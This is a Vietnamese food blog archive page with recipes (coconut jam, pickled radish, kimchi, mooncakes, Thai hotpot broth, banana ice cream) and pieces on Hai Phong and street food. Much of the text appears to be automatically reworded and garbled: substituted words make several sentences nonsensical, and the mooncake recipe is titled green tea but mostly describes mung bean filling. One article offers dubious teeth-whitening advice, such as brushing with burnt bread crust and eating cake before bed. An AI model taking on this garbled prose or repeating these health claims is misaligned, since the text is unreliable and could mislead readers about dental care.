Archive : Ẩm thực

RSS feed
2 cách làm mứt dừa non hoa đậu biếc hấp dẫn khay mứt ngày Tết

2 cách làm mứt dừa non hoa đậu biếc hấp dẫn khay mứt ngày Tết

Cách làm mứt dừa đậu biếc là cách làm được rất nhiều chị em tìm kiếm bởi vẻ ngoài độc đáo và khác biệt, mới lạ và hương vị thơm ngon cuốn hút. Mọi khi tết đến, mứt dừa là thực phẩm luôn luôn phải có & để khay mứt góp phần đa chủng loại, nhiều chủng loại, các chị em lại tìm những công thức làm mứt dừa khác biệt với đủ sắc tố sặc sỡ như màu tím của bột lá cẩm, greed color cốm của bột lá nếp, màu đỏ của củ dền, gold color nghệ… Cách làm mứt dừa đậu biếc ưa nhìn Nguyên liệu làm mứt dừa đậu biếc – Cùi dừa non: 500g (chọn loại cùi dừa bánh tẻ đã gọt bỏ vỏ nâu bên ngoài) – Hoa đậu biếc khô: 5g – Đường trắng: 200g – Sữa đặc: 50g – Đồ vật làm mứt: dao, thớt, rổ, chảo sâu lòng dày đáy… Các bước làm mứt dừa đậu biếc Bước 1: Sơ chế nguyên liệu Dừa gọt bỏ vỏ nâu, rửa sạch, thái sợi khoảng 1 – 2cm. Hoa đậu biếc khô đem hãm cùng 350ml nước sôi, để khoảng tầm 5 – 7 phút cho hoa thôi hết màu. Bước 2: Ngâm dừa với nước hoa đậu biếc Cho dừa thái sợi vào ngâm với nước hoa đậu biếc khoảng 2 tiếng đồng hồ đến khi dừa ngấm và chuyển màu xanh da trời dương rồi đem vớt ra, để ráo. Giữ lại nước dừa ngâm. Bước 3: Khuấy tan sữa Cho sữa đặc khuấy cùng nước ngâm dừa đến khi tan hết. Bước 4: Dừa ướp đường Dừa vớt ra cho đường trắng vào đảo đều, đem ướp dừa khoảng tầm 1 tiếng cho đường tan và dừa ngấm. Bước 5: Sên mứt Cho dừa ngâm đường cùng nước đường ngâm dừa vào chảo sên mứt. Trước tiên sên mứt với lửa to đến khi sôi thì hạ nhỏ lửa, sên mứt tiếp tục & đều tay. Khi nước sên mứt hơi sệt lại, đổ tiếp hỗn hợp nước hoa đậu biếc với sữa vào & liên tục sên mứt. Sên mứt với lửa to cho mau cạn, đến khi sôi thì hạ lửa, sên mứt với lửa nhỏ đều tay đến khi cạn nước. Cách làm mứt dừa đậu biếc ngon là khi mứt cạn, hòn đảo nặng tay, lớp đường trắng cô lại, dừa hơi khô ráo thì tắt nhà bếp. Bước 6: hoàn thành xong cách làm mứt dừa đậu biếc Sau khoản thời gian tắt nhà bếp, tiếp tục trộn mứt thật đều cho tới lúc mứt khô & tơi trọn vẹn. Để mứt thật nguội & cho vào hũ thủy tinh dữ gìn và bảo vệ, vậy là chúng ta đã hoàn thành cách làm mứt dừa đậu biếc rồi. Yêu cầu thành phẩm Mứt dừa đậu biếc khi hoàn thiện có lớp áo đường bánh quanh đều & phủ kín. Miếng dừa có màu xanh dương bắt mắt, màu sắc đặc thù của hoa đậu biếc. Mứt dừa không biến thành cháy hoặc còn ướt. Khi ăn mứt dừa đậu biếc sẽ phát hiện vị không thực sự ngọt & có mừi hương của sữa dừa đặc trưng, thu hút. Mứt dừa đậu biếc để nguội hẳn rồi mới cho vào hũ chai lọ thủy tinh bảo quản. Khi dữ gìn và bảo vệ, các chúng ta có thể rắc thêm 1 lớp đường để mứt luôn luôn được khô ráo vào để được lâu. Trên đây là cách làm mứt dừa đậu biếc vừa ưa nhìn, mớ lạ và độc đáo mà không thể khó. Không những thế, các bạn hãy làm nhiều loại mứt dừa nữa theo những chia sẻ mà Ameovat.com đã san sẻ để có 1 khay mứt đầy sắc tố và mê hoặc. Cùng khắc ghi và thực hiện với Ameovat.com nhé, chúc các bạn chiến thắng với cách làm mứt dừa đậu biếc nha!
Filed in: Ẩm thực
0
Củ cải khô dầm dai giòn lạ miệng mâm cơm ngày Tết

Củ cải khô dầm dai giòn lạ miệng mâm cơm ngày Tết

Thường niên cứ tới mùa củ cải không trách cha mẹ cũng kỳ cạch làm một hộp không nhỏ. Năm nay Mẹ gửi cho một túi, con giấu vội vào một khu vực bảo là cho món bún thang thực hiện Mẹ cười xỉu. Sau thời điểm được Mẹ giảng giải là còn phần nhiều thì chính mình trở nên rộng rãi với mình. Khác với món củ cải khô thái sợi bán phía ngoài chợ, món củ cải khô nhà làm là các khoanh tròn nhỏ. Và cũng chính là do món nhà làm ra đảm bảo sạch sẽ, không lo tẩm hóa chất bảo quản Linh Phương. Để thực hiện món củ cải dầm ăn xổi cần không rất nhiều thời gian. Lần này bản thân thu thập vị đậm là bột gia vị & mắm chứ không phải là xì dầu. Vật liệu tiến hành củ cải dầm – Một nắm củ cải cứng rửa sạch Sau đó ngâm nước âm ấm chừng 10 phút thì vớt ra bóp nhẹ tay cho ráo nước. – Một miếng gừng nhỏ, nửa nhánh tỏi, một quả ớt cay, cả ba thứ ấy bằm nhỏ. – Bột gia vị, đường, dấm táo thơm balsamic. – Hành tươi thái vát mỏng tanh. – Vài miếng hành tây thái thật mỏng manh. – Cà rốt vài sợi hay lát mỏng manh. – Nước mắm. Biện pháp làm củ cải dầm Cho hết củ cải vào tô, bổ sung 4 – 5 thìa coffe muối tinh i ốt vào Rồi áp dụng tay bóp đều. Để im củ cải trong tô Như vậy khoảng chừng 6 – 8 tiếng cho củ cải ra bớt chất và mùi hăng, Sau đó bóp lại thật kỹ càng . Xả thật sạch với nước lạnh khoảng tầm 3 – 4 lần cho ra hết chất mặn Rồi bạn áp dụng tay chắt cho cứng hết nước. Đem rải đều trên mâm, phơi củ cải ra nắng cho héo, củ cải sẽ giòn hơn. ( Nếu các bạn thích ăn khi củ cải còn hơi hăng hăng một ít thì chỉ cần phải phơi qua một nắng. Còn nếu muốn không còn hăng thì các bạn hoàn toàn có thể phơi 3 – 4 nắng phụ thuộc thích nhé ) . Sau khi đã phơi xong bạn đem củ cải vô nhà rửa lại cho sạch sẽ Tiếp đó sử dùng tay vắt thật cứng. Ớt cắt nhỏ. Gừng tươi nạo vỏ, rửa sach tiếp đó thái miếng. Tỏi lột vỏ thái mỏng. Nước cốt chanh thu thập nước cốt Tiếp đó lọc hạt bỏ đi. Cho củ cải vào tô không nhỏ. Trộn 5 thìa cà phê nước mắm, 1 thìa xì dầu, nước cốt chanh, gừng + củ tỏi + ớt thái mỏng, 3 thìa cà phê đường, 2 thìa coffe nước lọc. Dùng đũa khuấy cho thật đều Rồi đổ dồn vào tô củ cải. Trộn thật kỹ càng cho củ cải được thẩm thấu đều gia vị. Sau khoảng chừng 1 tiếng rưỡi tới 2 giờ là các bạn có thể hưởng thụ Tiếp đó nhé. Nếu các bạn làm nhiều thi đút vào lọ chai lọ thủy tinh Sau đó đậy kín nắp lại nhé. Có thể dữ gìn và bảo vệ trong ngăn mát tủ lạnh được 1 tuần nha. Củ cải ngâm càng lâu nó sẽ càng thẩm thấu gia vị & ngon hơn phần đông đó. Món này ăn sâu vào dịp Tết kèm bánh chưng, giò chả cũng rất ngon. Có thể món sửa chữa thay thế món dưa củ kiệu đấy, vừa dễ dàng, thực hiện lại nhanh và lạ đường miệng nữa. Vậy là tất cả chúng ta đã từng hoàn tất xong món củ cải dầm chua ngọt cực ngon này Tiếp đó đấy. Chúc mọi người thành công & ngon miệng bằng biện pháp làm trên của Webanngon nha.a
Filed in: Ẩm thực
0
Cách làm kim chi Việt Nam giòn ngon chuẩn vị, cả nhà mê mẩn

Cách làm kim chi Việt Nam giòn ngon chuẩn vị, cả nhà mê mẩn

Kim chi cải thảo là một trong những đồ ăn rất đặc trưng của người Hàn Quốc. Với vị cay cay khi hưởng thụ trong cái thời tiết se lạnh như thế này thì thật là tuyệt hảo. Trong bài viết này, chúng tôi sẽ hướng dẫn cho những bạn thật chi tiết cách làm kim chi cải thảo hàn quốc ngon tuyệt để bạn có thể tự mình vào phòng bếp làm cho mái ấm gia đình bạn cùng hưởng thụ nhé! Nguyên liệu để triển khai kim chi cải thảo Cải thảo tươi: 2,5kg Táo xanh: 1/2 quả (100g) Cà rốt: 1 củ Lê: một nửa quả (100g) Hành lá, hẹ: 1 bó Củ cải trắng: 0,5kg Muối: 5g Đường: 15g Nước tinh khiết Gừng: 1 củ nhỏ Bột ớt hàn quốc: 150g Tỏi: 8-10 củ Nước mắm: 50ml Tôm khô loại nhỏ (loại mặn): 5g Cách làm kim chi cải thảo Bước 1: Sơ chế cải thảo Bạn đem rau cải thảo rửa sạch rồi cắt thành từng khúc dài khoảng chừng 5cm & rộng khoảng 3cm. Tiếp đến, lấy 2/3 chén muối xát nhẹ dịu, đều vào cải thảo rồi cho tất cả vào ướp cùng với nước muối loãng trong khoảng thời gian từ 4-5 tiếng cho cải được mềm hơn. Khi đã ướp xong, bạn đem vắt sạch nước từ cải rồi cho ra bên ngoài & rửa qua cải thảo với nước sạch. Bước 2: Sơ chế tỏi, gừng, táo, lê, củ cải, cà rốt, hành hẹ Bạn đem tỏi bóc bỏ vỏ, gừng gọt vỏ và xay thật nhuyễn. Táo, lê, củ cải và cà rốt bạn cũng đem gọt bỏ vỏ rồi băm nhỏ. Hành hẹ rửa sạch rồi thái nhỏ. Bước 3: Trộn đều các hỗn hợp đã chuẩn bị Bạn dùng một cái bát to, đổ bột ớt & một chút nước mắm vào khấy thật đều nên. Tiếp đến cho tất cả các hỗn hợp gồm gừng, tỏi, táo, lê, củ cải, cà rốt, hành hẹ và tôm vào trộn đều nên. Bước 4: Đun bột gạo nếp & các hỗn hợp đã trộn Bạn cho bột gạo nếp và 150ml nước vào trong nồi rồi khuấy đều nên cho bột tan hết & bật bếp ở mức lửa nhỏ đun trong tầm 10 phút. Vừa đun bạn vừa khuấy thật đều tay. Tiếp nối, bạn lại trộn đều hỗn hợp vừa đun cùng với gừng, tỏi, táo, lê, củ cải, cà rốt, hành hẹ và tôm đã sẵn sàng ở bước 3. Bước 5: Trộn & ủ kim chi cải thảo vì vậy men Đem hỗn hợp đã làm ở bước 4 trộn với cải thảo. Bạn có thể dùng muôi rồi phết hỗn hợp vào 2 bên của lá cải thảo. Tiếp đến, bạn xếp lần lượt lá cải thảo vào trong hộp kín có nắp đậy và ủ trong tầm 1-2 ngày để cho kim chi cải thảo lên men. Bước 6: dữ gìn và bảo vệ và thưởng thức Cuối cùng, bạn chỉ cần cho kim chi cải thảo vào phía trong gầm tủ lạnh dữ gìn và bảo vệ & ăn dần trong 7 ngày. Cách làm kim chi cải thảo Nước Hàn này thật nhanh và đơn giản và dễ dàng phải không các bạn? Chúc các bạn thắng lợi với cách làm kim chi cải thảo ngon tuyệt này ngay tận nơi để rất có thể cùng gia đình mình thưởng trong mỗi bữa cơm từng ngày nhé!
Filed in: Ẩm thực
0
Những loại thực phẩm giúp răng trắng sáng bất ngờ

Những loại thực phẩm giúp răng trắng sáng bất ngờ

Một số món ăn đơn giản trong căn bếp nhà bạn là các thực phẩm làm răng trắng thần kỳ không phải người nào cũng biết. Không những bổ sung dinh dưỡng, chúng còn giúp bạn có được hàm răng trắng sáng đáng mơ ước. Cùng xem 5 thực phẩm tẩy trắng răng được liên kết từ những vật liệu dễ dàng trong bài viết dưới đây nhé! Bánh mỳ, bánh kem – thực phẩm tẩy trắng răng không phải người nào cũng biết Đây là 2 loại bánh vô cùng quen thuộc với chúng ta tuy vậy không phải người nào cũng biết chúng là loại đồ ăn cách làm trắng răng từ thiên nhiên an toàn cùng với hiệu quả. Cách làm răng trắng từ bánh mỳ và bánh kem đơn giản: – Làm trắng răng với bánh mỳ: Bánh mì đem nướng cho biết cháy vỏ, cạo lớp vỏ ngoài pha đối với kem đánh răng và sử dụng hỗn hợp sệt này chải răng mỗi ngày sẽ giúp cho vệ sinh các loại cụm bám trên răng. – Tẩy trắng răng với bánh kem: trước khi đi ngủ, bạn có nguy cơ ăn một cái bánh kem nhỏ, ngậm chẩn đoán kem tan trong miệng, 20 phút sau bạn đánh sạch sẽ răng với kem đánh răng để phòng bệnh sâu răng. Nếu biết cách sử dụng 2 đồ ăn tẩy trắng răng này đúng phương pháp thì không những hút bỏ được các thắc mắc răng đường miệng mà hàm răng của bạn còn chắc khỏe và trắng sáng hơn 1 ngày. Tìm hiểu thêm bột soda làm trắng răng có hữu hiệu thế nào? Cách làm trắng răng bằng muối đơn giản ở nhà Hữu hiệu bất ngờ nhờ các thực phẩm làm răng trắng từ những loại hạt Trong lúc nhai, các loại hạt cứng giúp xát mảng bám cũng như vết ố ra khỏi trên vùng răng, TS Matthew Messina, một phát ngôn viên của Hiệp hội trung tâm nha khoa Hoa Kỳ phỏng đoán. Hãy ăn 1 số quả hạnh nhân trong bữa ăn nhẹ buổi chiều, hạnh nhân bổ sung đầy đủ những chất đạm, chất thừa cân lành mạnh cùng với sẽ mang lại phỏng đoán bạn một hàm răng trắng bóng như ngọc trai. Hành tây làm nên các đồ ăn làm răng trắng dễ dàng Mặc dù hành tây không phải là một bữa ăn nhẹ hoàn hảo, dẫn tới “mất điểm” phỏng đoán hơi thở của bạn, nhưng tinh chất allium từ hành tây vô cùng tốt kết luận răng. Alium không màu, sẽ không hề đám bám trên bên trên răng của bạn. Ẳn hành tây có tác động đến răng của bạn giống bạn vừa đánh răng, giúp cho răng của bạn sáng bóng dần lên. Những món ăn tẩy trắng răng hiệu quả từ hoa lơ xanh Hoa lơ xanh nghe nói tới là siêu thực phẩm phỏng đoán sức khỏe vì chất chứa hàm lượng vitamin cùng với chất xơ dồi dào. Đồ ăn này không những cung ứng dinh dưỡng 1 ngày kết luận bạn mà ăn các bông hoa lơ xanh tươi trong bữa ăn mỗi ngày sẽ giúp cho xát lên trên vùng răng của bạn, loại bỏ cụm bám tương tự như một chiếc bàn chải thật mềm mại và tự nhiên. Các thức ăn làm trắng răng từ cà rốt Cà rốt cùng với cần phải tây tạo hợp với nhau cũng là cách làm trắng răng tự nhiên giúp răng bạn trở thành sáng bóng bằng biện pháp kích thích đào thải nước bọt giúp cho đánh tan vụn thức ăn thừa trên răng cùng với tốt kết luận nướu của bạn. Ngoài làm răng trắng thì cà rốt cùng với nên tây cũng là 2 loại rau tốt cho vòng eo, mắt và sức khỏe của bạn. >>> Có nên sử dụng thuốc tẩy trắng răng Opalescence ?
Filed in: Ẩm thực
0
Hướng dẫn làm bánh Trung thu dẻo nhân trà xanh tuyệt ngon

Hướng dẫn làm bánh Trung thu dẻo nhân trà xanh tuyệt ngon

Chia sẻ phương pháp làm bánh trung thu dẻo nhân trà xanh vừa thơm xìu, chuẩn vị lại đảm bảo bánh đẹp bắt mắt phụ nữ cần tìm tòi để có món bánh trung thu ngon nhất. Bánh trung thu là một trong những đồ ăn chẳng thể thiếu trong mâm cỗ dịp tết đoàn viên. Bánh trung thu có số đông loại, một trong đó phải nói đến bánh trung thu nhân đậu xanh. Xin cung cấp đến bạn cách làm bánh trung thu nhân đậu xanh cực dễ dàng mà vẫn đảm bảo bánh thơm ngon, tròn vị. Vật liệu thực hiện bánh trung thu nhân đậu xanh + Đường trắng: 600gr + Bột bánh dẻo: 310gr + Nước hoa bưởi: 10ml + Dầu ăn: 80ml + Nước cốt chanh: 10ml + Đậu xanh không vỏ: 200gr + Bột trà xanh: 1/2 muỗng cà phê + Bột mì: 1/2 cốc cà phê + Mạch nha: 1 thìa cà phê Phương pháp làm bánh trung thu dẻo nhân trà xanh Khác đối với bánh nướng cổ điển, món bánh dẻo nhân trà xanh này làm tương đối dễ thực hiện. Cách làm bánh trung thu như sau: + Tiến hành nhân bánh: Đậu xanh không vỏ đem ngâm khoảng 4 – 8 tiếng để đậu xanh nở, Sau đó rửa sạch lại cùng nước Rồi cho vào nồi cũng như thêm nước xâm xấp mặt xong. Thêm 1/3 cốc cà phê muối Tiếp đó đun chẩn đoán chín. Đậu xanh chín, bạn đem dỡ đậu ra phỏng đoán nguội Tiếp đó đút vào máy tán nhuyễn cùng 100gr đường. Bắc chảo lên bếp, thêm một cốc dầu ăn nhỏ Tiếp đó kết luận hợp chất đậu xanh đường vừa sơ chế xong vào sên. Khi thấy nhân đậu xanh có dấu hiệu gần sánh lại thì thêm bột mì và 10gr bánh dẻo cũng như mạch nha vào sên tiếp. Khi thấy nhân sên gần chín, bạn bổ sung một phần bột trà xanh vào để tạo màu Lưu tâm, khi xét nghiệm thấy nhân dẻo không dính tay thì tắt bếp và cho bột đậu xanh vào đánh đều. Viên nhân bánh thành từng viên tròn có khối lượng 50gr Khi xuất hiện nhân bánh nguội, chia đều nhân thành các viên tròn có khối lượng khoảng 50gr bột. + Tiến hành vỏ bánh trung thu nhân đậu xanh Phần vỏ bánh trung thu nhân đậu xanh không quá phức tạp. Bạn đem khuấy 500gr đường cùng 330ml nước Rồi đặt lên bếp đun sôi. Khi nồi nước đường sôi khoảng 10 phút thì tắt bếp Sau đó để nguội. Hòa nước đường vừa đun ở bước trên cùng dầu ăn, 10ml nước hoa bưởi cũng như 15ml nước chanh tươi Sau đó từ từ đổ 300gr bột bánh vào trộn cùng. Lưu ý, không đổ dồn toàn bộ bột vào nước đường mà cần đổ nhẹ nhàng để không mắc phải vỏ bánh bị vón cục. Biện pháp làm vỏ bánh trung thu dẻo nhân trà xanh Áp dụng màng bọc thức ăn để bọc kín bộ và để bột nghỉ dao động 30 phút nhé. Một chú ý dành kết luận bạn khi thực hiện bánh trung thu nhân đậu xanh chủ yếu là khoảng thời gian trộn bánh. Quan tâm không pha bánh quá lâu vô cùng dễ làm cho phần bộ mắc chai cứng nhé. Chia vỏ bánh thành mỗi viên có trọng lượng 100gr Với vỏ bánh trung thu, bạn cân lấy khoảng 100gr phỏng đoán mỗi vỏ bánh là được. Ấn dẹt viên vỏ bánh Tiếp đó đặt nhân đậu cùng trà xanh vào cũng như bọc kín Lần lượt ấn dẹp vỏ bánh Tiếp đó cho nhân đậu xanh vào bọc kín. Vê tròn bánh hạn chế để hở nhân Sau đó đặt vào khuôn để tạo hình kết luận bánh. Dùng bánh từ khuôn ra và bảo quản trong tủ lạnh Sau khi hoàn thành, bạn đem cất bánh trong ngăn mát của tủ lạnh để bột bánh trong dần lại. Khoảng 2 ngày là bánh trung thu có thể đem ra đeo. Bánh trung thu nhân đậu xanh thơm mềm, thanh mát là món quà tuyệt vời dành tặng gia đình trong dịp trung thu đến.
Filed in: Ẩm thực
0
Cách nấu nước dùng lẩu thái ngon tuyệt cú mèo không ai bì kịp

Cách nấu nước dùng lẩu thái ngon tuyệt cú mèo không ai bì kịp

Nước dùng của lẩu thái luôn là vấn đề bàn tán sôi nổi trong mọi diễn đàn ẩm thực. Người thì cho rằng làm nước dùng lẩu thái cần phải thêm nhiều đường, người thì bảo phải cho thêm sữa, vậy cách nấu nước dùng lẩu thái nào mới là ngon nhất cho mọi người đây? 1.Hãy nhớ phải có nhiều hành khô Đối với lẩu thái thì hương thơm của hành khô luôn là “chất dẫn” tuyệt vời nhất cho khứu giác của người thưởng thức. Bạn cần ít nhất 3 củ hành khô chi 1,5 lít nước dùng. Hãy băm chúng thật nhuyễn, phi thơm lên sau đó mới cho hành xả giềng vào xào chung. 2.Nhớ lá chanh Lá chanh không được người Việt ta ưu ái sử dụng để tạo món lẩu, nhưng với người thái mà nói thì việc thiếu lá chanh là bỏ nguyên nồi lẩu thái đi đó. Thế nên bạn cần phải có lấy chục lá chanh để thả vào lẩu. Lưu ý, thời điểm lá chanh bỏ vào là khi nước dùng đã hoàn tất, và lá chanh cần để nguyên lá chứ không thái nhỏ nhuyễn. 3.Nước cốt chanh Để tạo độ chua cho lẩu thái, ngoài giấm bỗng hoặc mẻ kho thì nước cốt chanh là một thứ nước xúc tác không thể thiếu. Nước cốt chanh cho 1,5L nước dùng khoảng 15ml là đủ. Cho nước cốt chanh vào lúc gần tắt bếp và chỉ đảo đều chứ không cần phải đun sôi ùng ục. 4.Sữa có cho vào hay không? Sữa là thứ có cho vào nồi nước dùng lẩu thái. Nhiệm vụ của sữa trong lẩu thái không chỉ là tạo độ ngọt thanh, khử đi độ mặn chát của muối mà còn tạo cho nước dùng có màu sáng sệt đẹp mắt. Khi cho sữa vào trong nước dùng lẩu thái, bạn cần đảm bảo hàm lượng của sữa bò chỉ là 15ml, chứ không phải là cả muôi lớn. Mùi sữa quá nồng sẽ khiến cho người dùng thấy khó chịu vô cùng. 5.Có cho mì chính không? Mì chính vốn là chất tạo ngọt, nhưng trong nồi nước dùng lẩu thái thì nó có nhiệm vụ khử đi các mùi hôi của nước dùng hơn là tạo ngọt. Cho nên một lượng vừa đủ của mì chính sẽ giúp cho nồi lẩu thái của bạn thơm ngơn bất ngờ. 6.Có cho hành tây không? Bất kể hành củ của bạn có nhiều tới mức nào, thì sự xuất hiện có một trái hành tây sẽ giúp cho bạn có được một nồi nước dùng tuyệt hảo nhất. Hành tây được bổ làm tám nếu là trái lớn, còn làm tư với các trái nhỏ. Tuyệt đối không được đập dập, băm nhỏ nhuyễn, khi ăn vớt phải xác hành sẽ gây chua bát, không muốn ăn thức khác. Bạn nghĩ sao với nhận định trên của Choibanca.com? Hãy nêu nhận xét và suy nghĩ của bạn về cách thức làm cho một nồi lẩu có phần nước dùng thơm ngon nhé.
Filed in: Ẩm thực
0
Món ăn ngon và đặc sản nổi tiếng Hải Phòng nên ăn thử

Món ăn ngon và đặc sản nổi tiếng Hải Phòng nên ăn thử

Thành phố hoa phượng đỏ Hải Phòng nổi tiếng với nhiều bãi tắm đẹp và các danh thắng hấp dẫn, đến với mảnh đất thú vị này bạn đừng quên bỏ lỡ những món ăn ngon ở đây. Ẩm thực Hải Phòng: Những món ngon đặc sản nổi tiếng Hải Phòng nên thưởng thức, sẽ chia sẻ cùng các bạn danh sách những món ăn ngon ở Hải Phòng. Bạn sẽ không còn băn khoăn du lịch Hải Phòng nên ăn gì ngon, ở đâu? khi tới đất cảng nữa. Cơm cháy hải sản Nói tới cơm cháy người ta nghĩ ngay tới Ninh Bình nhưng bạn quên mất rằng cơm cháy Ninh Bình cặp cùng thịt dê núi, còn cơm cháy Hải Phòng thơm ngon nổi tiếng đi kèm với hải sản đặc trưng. Nhắc tới Hải Phòng người ta nghĩ ngay tới cơm cháy hải sản hấp dẫn, bổ dưỡng. Cơm cháy hải sản được chế biến bằng cách nấu cơm dẻo sau đó ép hết nước rồi sấy cho cơm khô, mang chiên giòn trên dầu ăn. Điểm đặc biệt chính là cách chế biến nước sốt kèm hải sản, chính điều này đã tạo ra sự khác biệt giữa cơm cháy Ninh Bình và Hải Phòng, để mỗi nơi có một nét đặc trưng riêng biệt riêng. Tất cả các bí mật sẽ được bật mí khi bạn thưởng thức những miếng cơm thơm ngon kèm với hải sản tươi trên vùng biển Hải Phòng bạn sẽ thấy rằng cơm cháy hải sản là nét độc đáo trong ẩm thực Hải Phòng. Món cơm cháy Hải Phòng chính là điểm nổi bật trong những món ngon nổi tiếng ở Hải Phòng nên thưởng thức. Chả chìa Hạ Lũng Chả chìa Hạ Lũng là một trong những món ngon đặc sản nổi tiếng của Hải Phòng. Món ăn đặc sắc ở Hải Phòng này được chế biến khá cầu kì và cẩn thận ngay ở bước chọn nguyên liệu. Thịt lợn, mực tươi và mía chính là các thành phần chính làm nên món chả chìa thơm ngon tại Hải Phòng, tất cả những nguyên liệu này đều phải tươi mới đảm bảo được món ăn có độ ngon và hấp dẫn. Mực thường phải là mực tươi mua ở đảo Cát Bà, sau đó mang thịt lợn và mực say nhuyễn, nhưng ngon nhất vẫn là phương thức giã tay. Sau đó ướp với mắm, muối, nấm hương, mục nhĩ, hạt tiêu… Tất cả hỗn hợp thịt ướp đó mang cuộn khéo léo vào những thanh mía đã chẻ nhỏ thành khúc, sau đó mang chiên trên dầu nóng đảo đều tới khi dậy hương thơm, miếng chả vàng ươm thì được. Món chả chìa Hạ Lũng là ngon nhất, món ăn này còn được lựa chọn làm quà khi du lịch Hải Phòng bởi hương vị thơm ngon hòa quyện giữa hai các nguyên liệu trên cạn và dưới biển. Món ăn này tiêu biểu cho ẩm thực Hải Phòng hấp dẫn, thơm ngon. Bánh đa cua – đặc sản nổi tiếng thơm ngon của Hải Phòng Bánh đa cua Hải Phòng chính là đặc sản nổi tiếng thơm ngon nức tiếng Hải Phòng, bánh đa cua đã trở thành đại sứ thương hiệu cho ẩm thực Hải Phòng đa dạng, phong phú. Món ăn dân dã đậm tình quê này thu hút được nhiều thực khách thưởng thức chính nhờ vào nguyên liệu dễ ăn như cua đồng nấu kèm với các loại rau rút, rau cần kết hợp với bánh đa cua đặc biệt của người Hải Phòng, sợi trắng mỏng manh nhưng dai và mịn màng. Món ăn mang lại hương vị thanh khiết làm hài lòng cả những người ăn khó tính nhất. Sợi bánh đa canh nằm gọn trong bát, nước sốt từ cua đồng, với gạch cua vàng ươm thêm chút rau thơm và chả viên lá lốt, hoặc chả chìa hải sản nữa khiến người ăn không khỏi trầm trồ. Món bánh đa cua Hải Phòng là món ngon nổi tiếng trong ẩm thực Hải Phòng khiến người ăn siêu lòng và nhớ mãi.  
Filed in: Ẩm thực
0
Cách làm kem chuối tại nhà ngon và đơn giản nhất

Cách làm kem chuối tại nhà ngon và đơn giản nhất

Cách tạo kem chuối ngon ở nhà hết sức đơn giản mà không hề mất không ít thời điểm đâu một số bạn ạ. Một số bạn chỉ cần khiến theo biện pháp của kênh cẩm nang chia sẻ tại ngay trong bài viết này là một số bạn từng liệu có được món kem chuối ngon tuyệt. Nguyên liệu làm kem chuối Chuối tây: 4 quả. Sữa chua: 300 ml. Nước cốt dừa: 150 ml. Sữa ông thọ: 150 ml. Lạc rang: 1 lượng (giã nhỏ). Dừa: 150 gram (nạo sợi). Cách làm kem chuối ngon Bước 1: Sơ chế chuối Bạn đem chuối chín, bóc bỏ vỏ Tiếp đó cắt chuối thành những lát mỏng manh theo chiều dọc quả chuối. Cắt chuối là một trong số các bước làm cach lam kem chuoi Bước 2: pha hỗn hợp khiến cho kem Bạn lấy một bát tô to Tiếp đó khuấy đều sữa chua, nước cốt dừa, sữa ông thọ vào bằng nhau. Trộn đều sữa chua, nước cốt dừa cũng như sữa đặc với nhau Bước 3: phỏng đoán dung dịch kem chuối vào hộp Bạn cần dùng một cái hộp kem to cùng với vùng thành phần chính mình chuẩn bị ở trên là vừa không thiếu phỏng đoán một hộp này luôn nhé. Bạn bắt mới đầu múc 1 muôi dung dịch đã pha ở bước 2 vào hộp Rồi liên tục xếp 1 lớp chuối lên trên cùng với rắc tiếp 1 lớp lạc Tiếp đó lại tới lớp dừa nạo sơi… Bạn cứ làm cho lần lượt như thế cho biết đến khi hết khu vực nguyên liệu thì thôi. Bên trên cùng bạn nên rắc nhiều lạc cùng với dừa nạo sợi hơn Rồi dùng tay ấn nhẹ nhẹ để lạc và dừa nạo sợi dính vào kem để lúc bạn ăn sẽ không còn bị rơi ra. Múc dung dịch pha vào hộp cùng với xếp lần lượt chuối, lạc, dừa nạo sợi vào Bước 4: hoàn thiện món kem chuối Bạn đậy nắp hộp kem chuối lại, đem hộp kem đút vào ngăn đá tủ lạnh, sau khoảng 4h đồng hồ là bạn đã từng có được món kem chuối vừa mát, vừa thơm ngon, vừa bộ dưỡng Tiếp đó đó. Bước 5: trải nghiệm kem chuối Sau lúc kem đã đông, bạn đem hộp kem nhúng vào chậu nước (nhúng khoảng 2/3 hộp kem). Sau 3 phút là bạn có thể dùng kem ra một phương pháp dễ thực hiện, bạn mặc dao cắt kem chuối ra thành đã miếng vừa ăn, đặt vào đĩa cũng như cùng GĐ trải nghiệm thôi nào??? Thành phẩm món kem chuối ngon ở nhà làm cho cực dễ thực hiện Kem chuối là một trong số những kiểu kem tươi ngon, biện pháp làm cho kem chuối là 1 trong những nhiều giải pháp khiến cho kem thường gặp Thực tế hiện nay, bạn có nguy cơ gặp dược liệu khá đơn giản cùng với thao thác cũng không hề cầu kỳ 1 chút nào. Vậy là chỉ nên các thao tác đơn giản, những bạn từng có được món kem chuối mát lạnh, thơn ngon mà còn bổ dưỡng, có nguy cơ cùng hạnh phúc gia đình trải nghiệm trong hè này Sau đó đó. Chúc một số bạn thành tựu với biện pháp gây kem chuối tại nhà ngon tuyệt này nhé!
Filed in: Ẩm thực
0
Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt Điều gì khiến ẩm thực đường phố ở Việt Nam lại trở thành một thứ vô cùng đặc biệt như thế này. Liệu ngồi ăn tối trên một chiếc bàn ở ven vỉa hè. Bên những chiếc bàn nhựa bên cạnh những tán cây. Và trên bàn là các món canh, đồ ăn nóng hổi, bốc khói nghi ngút. Liêu nó có đủ sức đáng nhớ bằng một bữa tối tại một nhà hàng sang trọng và cao cấp được coi là nhà hàng 5 sao. Ẩm thực Việt Nam Tại đất nước Việt Nam của chúng ta, còn có khá nhiều những nơi gọi lý tưởng cho việc thưởng thức ẩm thực đường phố. Trong đó đường phố Việt Nam là nơi đáng để chúng ta trải nghiệm cũng như thưởng thức những món ăn chưa bao giờ nhẹ nhàng, và tươi ngon, đánh thức vị giác của những người ăn đến như vậy. Dưới đây mình sẽ là phần giới thiệu sơ qua về nền ẩm thực của Việt Nam tưới đẹp. Từ khẩu vị truyền thống của miền Bắc đến những món ăn mới lạ trong ngành ẩm thực miền Nam. Hương vị hấp dẫn từ những món ăn đặc sắc vùng miền Nhiều thực khách du lịch còn nhận xét người miền Nam của chúng ta. Có một chút gì mạo hiểm về phần khẩu vị phức tạp. Có lẽ, dường như ẩm thực tại thành phố Hồ Chí Minh phong phú. Và nổi trội hơn rất nhiều so với tại thủ đô Hà Nội của chúng ta. Trong khi đó, miền Trung lại có nét ẩm thực đặc trưng riêng biệt, không một nơi nào có thể nhầm lẫn được. Có thể nói trong các phong cách ẩm thực Việt Nam, những món ăn ở thành phố Huế là khó nấu nhất. Ẩm thực 